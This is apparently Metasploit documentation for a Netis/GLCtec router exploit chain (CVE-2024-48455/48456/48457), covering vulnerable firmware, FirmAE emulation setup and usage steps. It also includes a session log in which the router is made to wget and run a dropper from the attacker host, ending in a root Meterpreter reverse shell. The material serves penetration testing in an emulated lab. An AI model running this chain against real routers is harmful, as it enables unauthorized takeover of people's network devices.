## Vulnerable Application
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change
password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details).
The vulnerability stems from improper handling of the password and new password parameter within the router's web interface.
Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection
vulnerability.
When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router.
An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457)
allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute
the RCE.

Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure
revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running
specific vulnerable firmware.

The following router firmware versions are vulnerable:

- [x] netis_MW5360_V1.0.1.3031_fw.bin
- [x] Netis_MW5360-1.0.1.3442.bin
- [x] Netis_MW5360_RUSSIA_844.bin
- [x] netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
- [x] netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
- [x] netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
- [x] Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
- [x] netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
- [x] netis_NC65_V3.0.0.3749.bin
- [x] Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
- [x] Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
- [x] netis_NX10_V2.0.1.3582_fw.bin
- [x] netis_NX10_V2.0.1.3643.bin
- [x] Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
- [x] netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
- [x] Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
- [x] GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)

and potentially others...

## Installation
Ideally, to test this module, you would need a vulnerable Netis Router device.
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
we can simulate the router and test the vulnerable endpoint.

### Installation steps to emulate the router firmware with FirmAE
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem.
* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
* Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet.
* We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration.
* Start emulation.
* First run `./init.sh` to initialize and start the Postgress database.
* Start a debug session  `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin`
* This will take a while, but in the end you should see the following...
```shell
 # ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin
[*] /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!
[IID] 15
[MODE] debug
[+] Network reachable on 192.168.1.254!
[+] Web service on 192.168.1.254
[+] Run debug!
Creating TAP device tap15_0...
Set 'tap15_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.254 true true 79.316641060 186.772281412
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - GLC_ALPHA_AC3-V3.0.2.115
[*] IP - 192.168.1.254
[*] connecting to netcat (192.168.1.254:31337)
[+] netcat connected
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
```
* check if you can `ping` the emulated router and run `nmap` to check the ports
```shell
 # ping 192.168.1.254
PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data.
64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=11.7 ms
64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=4.93 ms
64 bytes from 192.168.1.254: icmp_seq=3 ttl=64 time=1.30 ms
^C
--- 192.168.1.254 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 1.297/5.979/11.713/4.316 ms
 # nmap 192.168.1.254
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 19:39 UTC
Nmap scan report for 192.168.1.254
Host is up (0.020s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
443/tcp open  https
MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor)

Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds
```
You are now ready to test the module using the emulated router hardware on IP address 192.168.1.254

## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457`
- [x] `set rhosts <ip-target>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=Linux Dropper>`
- [x] `exploit`

you should get a `Meterpreter` session.

```msf
msf exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info

       Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).
     Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457
   Platform: Linux
       Arch: mipsle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-12-27

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  CMD_DELAY  30               yes       Delay in seconds between payload commands to avoid locking
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.254    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
                                        s/using-metasploit.html
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The Netis router endpoint URL
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the
                                      local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  1981             yes       The local port to listen on.

Payload information:

Description:
  Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection
  vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details).
  The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the
  router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter,
  encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to
  command execution, potentially allowing the attacker to take full control of the router.
  An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated
  attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE.

  Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration
  information of the router which can be used by the attacker to determine if the router is running specific vulnerable
  firmware.

  The following router firmware versions are vulnerable:
  * netis_MW5360_V1.0.1.3031_fw.bin
  * Netis_MW5360-1.0.1.3442.bin
  * Netis_MW5360_RUSSIA_844.bin
  * netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
  * netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
  * netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
  * Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
  * netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
  * netis_NC65_V3.0.0.3749.bin
  * Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
  * Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
  * netis_NX10_V2.0.1.3582_fw.bin
  * netis_NX10_V2.0.1.3643.bin
  * Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
  * netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
  * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
  * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
  * Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
  * GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
  * potentially others...

References:
  https://nvd.nist.gov/vuln/detail/CVE-2024-48455
  https://nvd.nist.gov/vuln/detail/CVE-2024-48456
  https://nvd.nist.gov/vuln/detail/CVE-2024-48457
  https://github.com/users/h00die-gr3y/projects/1

View the full module info with the info -d command.
```
## Options
### CMD_DELAY
Chained command lines using `;` do not work, so each command need to be executed in a separate request
with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option.

## Scenarios
### GLCtec ALPHA-AC3 Router Emulation Linux Dropper -  linux/mipsle/meterpreter_reverse_tcp
```msf
msf exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.1.253:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.1.254:80 can be exploited.
[+] The target appears to be vulnerable. GLC(ALPHA-AC3)-V3.0.2.115
[*] Resetting router password for authentication.
[*] Logging in with the new router password 4vNcez42D to get the password cookie.
[*] Saving router credentials (root) at the msf database.
[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp
[*] Using URL: http://192.168.1.253:1981/ZhIplAe6jD9O7J
[*] Executing wget -qO /tmp/hMvelDeE http://192.168.1.253:1981/ZhIplAe6jD9O7J
[*] Client 192.168.1.254 (Wget) requested /ZhIplAe6jD9O7J
[*] Sending payload to 192.168.1.254 (Wget)
[*] Command Stager progress -  53.85% done (63/117 bytes)
[*] Executing chmod +x /tmp/hMvelDeE
[*] Command Stager progress -  72.65% done (85/117 bytes)
[*] Executing /tmp/hMvelDeE
[+] Deleted /tmp/hMvelDeE
[*] Meterpreter session 7 opened (192.168.1.253:4444 -> 192.168.1.254:54551) at 2024-12-29 11:28:49 +0000
[*] Command Stager progress -  83.76% done (98/117 bytes)
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.1.254
OS           :  (Linux 3.10.90)
Architecture : mips
BuildTuple   : mipsel-linux-muslsf
Meterpreter  : mipsle/linux
meterpreter > pwd
/etc/boa
meterpreter > ls
Listing: /etc/boa
=================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100755/rwxr-xr-x  9581     fil   2024-03-04 09:22:46 +0000  boa.conf
100755/rwxr-xr-x  2118     fil   2024-03-04 09:22:46 +0000  mime.types

meterpreter >
```
## Limitations
Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target.
Another limitation is that the router has a very limited command set that can be leveraged,
so the only option is to use the `wget` command to drop an executable on the target to get a session.
Chained command lines using `;` do not work, so each command need to be executed in a separate request
with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option).

Last but not least, be mindful that the admin router password gets overwritten by the exploit,
resulting in a clear indicator of compromise.
